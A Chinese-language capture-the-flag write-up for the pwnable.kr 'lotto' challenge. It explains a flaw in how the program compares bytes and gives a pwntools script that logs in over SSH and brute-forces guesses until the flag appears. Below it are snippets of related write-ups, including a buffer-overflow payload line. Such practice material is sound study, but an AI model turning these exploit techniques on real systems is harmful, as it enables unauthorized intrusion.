执行分析题目代码,发现是输入值和十进制是1到45的ASCII码系统生成对应字母做比较;而比较方法是遍历输入值的所有位和系统生成字符串的每个位作比较,相同计数为6则爆出flag。漏洞啊,只要押中有一字母在系统生成字符串中,输入值全部是那个字母即可。

那我们按要求输入的字符转换成十进制只能是33-45了,因为1-32是不可见字符,无法输入。通过多次尝试,即可产生结果。可以写个脚本等哦。

  1. from pwn import *
  2.  
  3. s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
  4. pro=s.process('/home/lotto/lotto')
  5. print pro.recv()
  6. #pro.sendline('1')
  7. #print pro.recv()
  8. str="++++++"
  9. #str+=chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(1)
  10. #print str
  11. #pro.sendline(str)
  12. #recvstr=pro.recv()
  13. #print len(recvstr),recvstr
  14.  
  15. while 1:
  16. pro.sendline('1')
  17. print pro.recv()
  18. pro.sendline(str)
  19. a=pro.recv()
  20. if len(a)!=71: #经验证,错误时返回信息长度是71
  21. print a
  22. break

愉快地结束。

pwnable.kr-lotto-witeup的更多相关文章

  1. pwnable.kr lotto之write up

    源代码 : #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcnt ...

  2. 【pwnable.kr】lotto

    pwnable.好像最近的几道题都不需要看汇编. ssh lotto@pwnable.kr -p2222 (pw:guest) 直接down下来源码 #include <stdio.h> ...

  3. pwnable.kr的passcode

    前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...

  4. pwnable.kr bof之write up

    这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...

  5. pwnable.kr col之write up

    Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...

  6. pwnable.kr brainfuck之write up

    I made a simple brain-fuck language emulation program written in C. The [ ] commands are not impleme ...

  7. pwnable.kr login之write up

    main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...

  8. pwnable.kr详细通关秘籍(二)

    i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...

  9. pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目 ...

  10. pwnable.kr第二天

    3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...

随机推荐

  1. ubuntu 本地源搭建

    1.软件包放在 deps 目录下: dpkg-scanpackages deps /dev/null |gzip > deps/Packages.gz -r 2.更新 sources.list ...

  2. CSS3实现圆环进度条

    摘要:圆环进度条被应用于各个场景,比如我们可以用来表示加载进度等.通常我们可以用 css3 的动画去实现. 详解 css3 实现圆环进度条 简单的画一个圆环,我们都知道如何使用 css 画一个圆环.( ...

  3. python实例 三国人物出场次序 jieba库

    #Cal3kingdoms.py import jieba txt = open("threekingdoms.txt", "r", encoding=&quo ...

  4. 前端修仙之路---一、如何用gulp搭建一套web前端开发框架

    引言 相信从事web前端开发的朋友都知道,现在流行的Vue.AngularJS等框架中,它们都有独立的脚手架来创建项目,比如Vue有vue-cli,Angular有angula-cli.脚手架可以一键 ...

  5. Python开发的入门教程(八)-迭代

    介绍 本文主要介绍Python中迭代的基本知识和使用 什么是迭代 在Python中,如果给定一个list或tuple,我们可以通过for循环来遍历这个list或tuple,这种遍历我们成为迭代(Ite ...

  6. AndroidStudio修改程序的包名,可以修改com.example.xxx之类的详解

    转载请说明出处.原创作品. 首先说明一下,当时公司需要修改androidStudio 项目的包名 于是上网查了一下,只看到了修改后面的包名,而不可以修改 前缀的com.example.xxx.所以很无 ...

  7. Android开发之ListView详解 以及简单的listView优化

    ListView列表视图 最常用的控件之一,使用场景例如:微信,手机QQ等等. android:divider:每个item之间的分割线,可以使用图片或者色值. android:dividerHeig ...

  8. GreateMan_开源

    oschina: https://www.oschina.net/ Tencent: https://github.com/Tencent 360: https://github.com/Qihoo3 ...

  9. myeclipse前端界面乱码

    框起来的值默认的格式是ISO-8859-1,改为UTF-8

  10. 20190923-08Linux压缩和解压类 000 016

    gzip/gunzip 压缩 1.基本语法 gzip 文件 (功能描述:压缩文件,只能将文件压缩为*.gz文件) gunzip 文件.gz (功能描述:解压缩文件命令) 2.经验技巧 (1)只能压缩文 ...